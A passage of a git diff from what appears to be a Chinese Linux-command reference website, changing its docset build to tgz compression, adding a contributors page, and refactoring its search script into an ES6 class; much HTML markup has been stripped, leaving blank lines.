- const outputPaht = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.zip');
- // create a file to stream archive data to.
- const output = fs.createWriteStream(outputPaht);
- const archive = archiver('zip', {
- zlib: { level: 9 } // Sets the compression level.
- });
-
- // listen for all archive data to be written
- // 'close' event is fired only when a file descriptor is involved
- output.on('close', () => {
- console.log(archive.pointer() + ' total bytes');
- console.log('archiver has been finalized and the output file descriptor has closed.');
- resolve();
- });
-
- // good practice to catch warnings (ie stat failures and other non-blocking errors)
- archive.on('warning', (err) => {
- if (err.code === 'ENOENT') {
- console.log('warning:::', err)
- // log warning
- } else {
- // throw error
- throw err;
- }
- });
-
- // good practice to catch this error explicitly
- archive.on('error', function(err) {
- reject(err);
- });
-
- // pipe archive data to the file
- archive.pipe(output);
- archive.directory(pathJoin(process.cwd(), '.deploy', 'linux-command.docset'), false);
- archive.finalize();
- })
-}
async function build() {
console.log(`mkdir -p ${RESOURCES_DIR}`);
@@ -149,8 +116,13 @@ async function build() {
console.info('build documents');
await buildApi(DB_PATH);
- console.info('compressing zip');
- await compressing();
+ console.info('compressing tgz');
+ // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s,等待其余资源复制完毕
+ // 确保所有操作完成后再压缩
+ await new Promise(resolve => setTimeout(resolve, 30000)); // 增加到 30 秒
+
+ const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz');
+ await tgz.compressDir(DOCSET_DIR, outputPath);
}
build()
diff --git a/build/sitemap.js b/scripts/sitemap.js
similarity index 100%
rename from build/sitemap.js
rename to scripts/sitemap.js
diff --git a/template/contributors.ejs b/template/contributors.ejs
index a799f612bba..cd322f637a3 100644
--- a/template/contributors.ejs
+++ b/template/contributors.ejs
@@ -1,11 +1,255 @@
<%- include('partial/header'); %>
<%- include('widget/search',{type: "list"}); %>
-
Contributors
-
<%-describe.contributors ? describe.contributors : '' %>
+
贡献者列表
+
+
+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+
+
+
+
- 数据来源于 GitHub Contributors,使用action-contributors创建。
+ 数据来源于 GitHub Contributors,使用 action-contributors 创建。
+
镜像网站
+
+
魔改网站
+
<%- include('widget/footer',{type: "list"}); %>
<%- include('partial/footer'); %>
diff --git a/template/js/copy-to-clipboard.js b/template/js/copy-to-clipboard.js
index 8647fc1c6c1..20345e0759f 100644
--- a/template/js/copy-to-clipboard.js
+++ b/template/js/copy-to-clipboard.js
@@ -1,4 +1,4 @@
-/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wang | https://github.com/uiwjs/copy-to-clipboard.git */
+/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wong | https://github.com/uiwjs/copy-to-clipboard.git */
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).copyTextToClipboard=t()}(this,(function(){"use strict";return function(e,t){const o=document.createElement("textarea");o.value=e,o.setAttribute("readonly",""),o.style={position:"absolute",left:"-9999px"},document.body.appendChild(o);const n=document.getSelection().rangeCount>0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}}));
function copied(target, str) {
@@ -8,4 +8,4 @@ function copied(target, str) {
target.classList.remove('active');
}, 2000);
});
-}
\ No newline at end of file
+}
diff --git a/template/js/index.js b/template/js/index.js
index e1b9551bd32..0bd462949d6 100644
--- a/template/js/index.js
+++ b/template/js/index.js
@@ -1,142 +1,191 @@
+/**
+* 对数组进行排序,作为 Array.sort() 回调函数使用
+*/
+const sortArray = function (a, b) {
+ return a.nIdx - b.nIdx;
+}
+/**
+ * 判断 indexOf() 是否捕获到了搜索词
+ * @returns {boolean} 是否捕获
+ */
+function indexOfCatch(a) {
+ return a > -1
+}
(function () {
- function Commands() {
- var $$ = this.$$;
- this.commands = linux_commands || [];
- this.elm_query = $$('query');
- this.elm_btn = $$('search_btn');
- this.elm_result = $$('result');
- this.elm_search_result = $$('search_list_result');
-
- // 获取根路径
- this.root_path = (function () {
- var elm_path = $$('current_path');
- var url = window.location.origin + window.location.pathname;
- return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : '';
- })();
-
- this.query = ''; //
- this.query_size = 5; //搜索框结果显示5条
- this.page_size = 50; //每页显示20条
+ class Commands {
+ query = ''
+ query_size = 5 //搜索框结果显示5条
+ page_size = 50 //每页显示20条
+ $$(id) {
+ return document.getElementById(id)
+ }
+ constructor() {
+ function $$(id) {
+ return document.getElementById(id)
+ }
+ this.commands = linux_commands || [];
+ this.elm_query = $$('query');
+ this.elm_btn = $$('search_btn');
+ this.elm_result = $$('result');
+ this.elm_search_result = $$('search_list_result');
- this.init()
- this.goToIndex()
- }
+ // 获取根路径
+ this.root_path = (function () {
+ let elm_path = $$('current_path');
+ let url = window.location.origin + window.location.pathname;
+ return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : '';
+ })();
- Commands.prototype = {
- $$: function (id) {
- return document.getElementById(id)
- },
- goToIndex: function () {
- var elma = document.getElementsByTagName('A');
- for (var i = 0; i < elma.length; i++) {
+ this.init();
+ this.goToIndex();
+ }
+ /**
+ * 前往主页
+ * @memberof Commands
+ */
+ goToIndex() {
+ let elma = document.getElementsByTagName('A');
+ for (let i = 0; i < elma.length; i++) {
if (elma[i].pathname === '/' && !/^https?:/i.test(elma[i].protocol)) {
elma[i].href = this.root_path + '/';
}
}
- },
- bindEvent: function (elm, type, handle) {
- if (elm.addEventListener) {
- elm.addEventListener(type, handle, false);
- } else if (elm.attachEvent) {
- elm.attachEvent('on' + type, handle);
+ }
+ /**
+ * 绑定事件
+ * 该函数有兼容性处理
+ * @param {HTMLElement} element 需要绑定事件的元素
+ * @param {*} type 需要绑定的类型
+ * @param {*} callback 事件触发回调
+ * @memberof Commands
+ */
+ bindEvent(element, type, callback) {
+ if (element.addEventListener) {
+ element.addEventListener(type, callback, false);
+ } else if (element.attachEvent) {
+ element.attachEvent('on' + type, callback);
}
- },
- isSreachIndexOF: function (oldstr, kw) {
+ }
+ isSreachIndexOF(oldstr, kw) {
if (!oldstr || !kw) return -1;
return oldstr.toLowerCase().indexOf(kw.toLowerCase());
- },
+ }
//获取URL上面的参数
- getQueryString: function (name) {
- var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
- var r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg);
+ getQueryString(name) {
+ let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
+ let r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg);
if (r != null) return unescape(r[2]); return null;
- },
- pushState: function () {
+ }
+ /**
+ * 通过 window.history 设置地址栏的地址
+ * @memberof Commands
+ */
+ pushState() {
if (window.history && window.history.pushState)
- this.query ? history.pushState({}, "linux_commands", "#!kw=" + this.query) :
+ if (this.query) {
+ history.pushState({}, "linux_commands", `#!kw=${this.query}`)
+ } else {
history.pushState({}, "linux_commands", window.location.pathname);
- },
- //简单模版
- simple: function (str, obj) {
+ }
+ }
+ /**
+ * 一个简单的模板函数
+ *
+ * @param {string} str 传入的 HTML 模板
+ * @param {object} obj 一个对象,用于放置在 HTML 模板中
+ * @return {string} 经过处理的 HTML 模板
+ * @memberof Commands
+ */
+ simple(str, obj) {
return str.replace(/\$\w+\$/gi, function (matchs) {
- var returns = obj[matchs.replace(/\$/g, "")];
+ let returns = obj[matchs.replace(/\$/g, "")];
return typeof returns === "undefined" ? "" : returns;
})
- },
- createKeyworldsHTML: function (json, keywolds, islist) {
- var name = json.n, des = json.d, self = this,
- reg = new RegExp("(" + keywolds + ")", "ig"),
- str = '';
+ }
+ /**创建 keyworlds HTML
+ * @param {*} json 根据这段 JSON 生成
+ * @param {*} keywolds 关键字
+ * @param {*} islist 表示这是否是一个列表
+ * @return {*} 返回一个 HTML 字符串
+ */
+ createKeyworldsHTML(json, keywolds, islist) {
+ const listHTML = ''
+ const replaceHTML = `$1`
+ let name = json.n
+ let des = json.d
+ let reg = new RegExp(`(${keywolds})`, "ig")
if (keywolds) {
- name = json.n.replace(reg, '' + "$1" + "");
- des = json.d.replace(reg, '' + "$1" + "") || '';
+ name = json.n.replace(reg, replaceHTML);
+ des = json.d.replace(reg, replaceHTML) || '';
}
-
- var rootp = this.root_path.replace(/\/$/, '');
- str = islist ? '$name$ - $des$' : '$name$ - $des$';
+ let rootp = this.root_path.replace(/\/$/, '');
+ const str = `$name$ - $des$${islist ? listHTML : ''}`
return this.simple(str, {
- name: name,
+ name,
url: json.p,
- des: des
+ des
});
- },
- /**
- * [searchResult ]
- * @param {[type]} islist [是否为列表]
- */
- searchResult: function (islist) {
- var arr = this.commands, self = this, i = 0,
- page_size = arr.length,
- arrResultHTML = [],
- resultData = [],
- show_list_count = islist ? this.page_size : this.query_size;
- var nameArr = [], desArr = [];
- if (arr && arr.length && toString.call(arr).indexOf('Array') > -1) {
- for (; i < page_size; i++) {
+ }
+ /**搜索结果
+ * @param {boolean} islist 是否为列表*/
+ searchResult(islist = false) {
+ let arr = this.commands
+ const self = this
+ let page_size = arr.length
+ let arrResultHTML = []
+ const show_list_count = islist ? this.page_size : this.query_size;
+ let nameArr = [], desArr = [];
+ if (indexOfCatch(arr && arr.length && toString.call(arr).indexOf('Array'))) {
+ for (let i = 0; i < page_size; i++) {
if (!arr[i]) break;
- var nIdx = self.isSreachIndexOF(arr[i].n, self.query);
- var dIdx = self.isSreachIndexOF(arr[i].d, self.query);
- if (nIdx > -1) {
- var json = arr[i];
+ const nIdx = self.isSreachIndexOF(arr[i].n, self.query);
+ const dIdx = self.isSreachIndexOF(arr[i].d, self.query);
+ let json = arr[i];
+ if (indexOfCatch(nIdx)) {
json.nIdx = nIdx;
nameArr.push(json);
- } else if (dIdx > -1) {
- var json = arr[i];
+ } else if (indexOfCatch(dIdx)) {
json.dIdx = dIdx;
desArr.push(json);
}
}
}
- nameArr.sort(function (a, b) {
- return a.nIdx - b.nIdx;
- });
- desArr.sort(function (a, b) {
- return a.nIdx - b.nIdx;
- });
+ nameArr.sort(sortArray);
+ desArr.sort(sortArray);
- resultData = nameArr.concat(desArr);
- resultData = resultData.slice(0, show_list_count);
- for (i = 0; i < resultData.length; i++) {
- arrResultHTML.push(self.createKeyworldsHTML(resultData[i], self.query, islist));
- }
- var elm = islist ? this.elm_search_result : this.elm_result;
- elm.innerHTML = '';
- for (var i = 0; i < arrResultHTML.length; i++) {
- var myLi = document.createElement("LI");
- myLi.innerHTML = arrResultHTML[i];
- elm.appendChild(myLi);
- }
- if (arrResultHTML.length === 0) {
- var myLi = document.createElement("LI");
- myLi.innerHTML = '' + this.query ? '请尝试输入一些字符,进行搜索!' + '' : '没有搜索到任何内容,请尝试输入其它字符!';
- elm.appendChild(myLi);
+ const resultData = nameArr.concat(desArr).slice(0, show_list_count);
+ resultData.forEach(a => {
+ arrResultHTML.push(self.createKeyworldsHTML(a, self.query, islist));
+ })
+
+ /** @type {HTMLElement} */
+ let elm = islist ? this.elm_search_result : this.elm_result;
+ elm.innerHTML = ''
+ arrResultHTML.forEach((result, i) => {
+ const el = document.createElement('li')
+ el.innerHTML = result
+ elm.appendChild(el);
+ })
+ if (!arrResultHTML.length) {
+ const noResultTipHTML = document.createElement("LI");
+ const tipSpan = document.createElement("span")
+ const nullQueryStringTips = `请尝试输入一些字符,进行搜索!`
+ const undefinedQueryTips = `没有搜索到任何内容,请尝试输入其它字符!`
+ tipSpan.innerText = this.query ? undefinedQueryTips : nullQueryStringTips
+ noResultTipHTML.appendChild(tipSpan);
+ elm.appendChild(noResultTipHTML);
}
- },
- // 选中搜索结果效果
- selectedResult: function (type) {
- var items = this.elm_result.children;
- var index = 0;
+ }
+ /**
+ * 移动搜索结果的光标
+ * @param {"up"|"down"} type 触发事件类型
+ * @memberof Commands
+ */
+ selectedResult(type) {
+ /** @type {Array} */
+ let items = this.elm_result.children;
+ let index = 0;
for (var i = 0; i < items.length; i++) {
if (items[i].className == 'ok') {
items[i].className = '';
@@ -146,78 +195,73 @@
};
};
if (items[index]) items[index].className = 'ok';
- },
+ }
// 是否选中搜索结果
- isSelectedResult: function () {
- var items = this.elm_result.children;
- var isSel = false;
- for (var i = 0; i < items.length; i++) {
+ isSelectedResult() {
+ let items = this.elm_result.children;
+ let isSel = false;
+ for (let i = 0; i < items.length; i++) {
if (items[i].className == 'ok') {
isSel = items[i];
break;
};
};
return isSel;
- },
- init: function () {
- var self = this;
- var kw = self.getQueryString('kw');
- var timer = null
+ }
+ init() {
+ /**
+ * 设定搜索结果的 CSS display 属性
+ *
+ * @param {string} [inputDisplay='none']
+ */
+ function setdisplay(inputDisplay) {
+ self.elm_result.style.display = inputDisplay || 'none'
+ }
+ let self = this;
+ let kw = self.getQueryString('kw');
this.elm_query.value = kw;
this.query = kw || '';
if (this.elm_search_result) self.searchResult(true);
this.bindEvent(this.elm_query, 'input', function (e) {
self.query = e.target.value;
-
self.pushState()
if (self.query) {
self.searchResult();
} else {
- self.elm_result.style.display = 'none';
+ setdisplay()
}
if (!self.elm_search_result) {
- self.elm_result.style.display = self.query ? 'block' : 'none';
+ setdisplay(self.query ? 'block' : 'none')
} else {
self.elm_btn.click();
}
})
this.bindEvent(this.elm_btn, 'click', function (e) {
- self.elm_result.style.display = 'none';
+ setdisplay();
if (self.elm_search_result) self.searchResult(true);
- else {
- window.location.href = self.root_path + '/list.html#!kw=' + self.query;
- }
+ else window.location.href = self.root_path + '/list.html#!kw=' + self.query;
})
this.bindEvent(this.elm_query, 'focus', function (e) {
self.searchResult();
- if (self.query) self.elm_result.style.display = 'block';
+ if (self.query) setdisplay('block');
})
this.bindEvent(this.elm_query, 'blur', function (e) {
- timer = setTimeout(function () {
- self.elm_result.style.display = 'none';
+ setTimeout(function () {
+ setdisplay();
}, 300)
})
// 输入Enter键
this.bindEvent(document, 'keyup', function (e) {
+ if (e.keyCode === 40) self.selectedResult("down");
+ if (e.keyCode === 38) self.selectedResult("up");
if (e.key == 'Enter') {
- var item = self.isSelectedResult();
+ let item = self.isSelectedResult();
if (!item) return self.elm_btn.click();
- if (item.children[0]) {
- item.children[0].click();
- }
- } else if (e.keyCode === 40) {
- // ArrowDown
- self.selectedResult()
- } else if (e.keyCode === 38) {
- // ArrowUp
- self.selectedResult("up");
+ if (item.children[0]) item.children[0].click();
}
})
-
if (kw) self.searchResult();
}
}
-
new Commands()
-
})()
\ No newline at end of file
diff --git a/template/styl/index.styl b/template/styl/index.styl
index f0cb0b04db5..5f5acde1a7c 100644
--- a/template/styl/index.styl
+++ b/template/styl/index.styl
@@ -171,6 +171,9 @@ mq-mobile = "screen and (max-width: 479px)"
&.home {
border-top 0
}
+ div {
+ font-size 12px
+ }
}
.header.home {
.header_inner {
@@ -282,6 +285,17 @@ mq-mobile = "screen and (max-width: 479px)"
a {
font-weight: bold;
}
+ .links {
+ display: inline-flex;
+ flex-wrap: wrap;
+ }
+ .links a {
+ background: var(--color-theme-bg);
+ height: 2.1rem;
+ border-radius: 0.3rem;
+ gap: 0.1rem;
+ padding: 0rem 0.5rem 0rem 0.4rem;
+ }
}
@media mq-mobile {
diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs
index 33ef4da284f..9da12da4d87 100644
--- a/template/widget/footer.ejs
+++ b/template/widget/footer.ejs
@@ -8,12 +8,19 @@
Krunner |
开源中国Web版
+ 打赏捐赠 |
Github |
短地址:https://git.io/linux
-
- 收藏本站请使用 Ctrl+D 或者Command+d
-
共搜集到
-
- <%=describe.command_length?describe.command_length:''%>
- 个Linux命令,超过 50+ 贡献者
+
+ 收藏本站请使用 Ctrl+D 或者Command+d
+
+ 共搜集到
+
+ <%=describe.command_length?describe.command_length:''%>
+ 个Linux命令,超过
50+ 贡献者
+
+
\ No newline at end of file
diff --git a/template/widget/search.ejs b/template/widget/search.ejs
index 35a8b55c5db..fbf67f3ba7e 100644
--- a/template/widget/search.ejs
+++ b/template/widget/search.ejs
@@ -2,7 +2,7 @@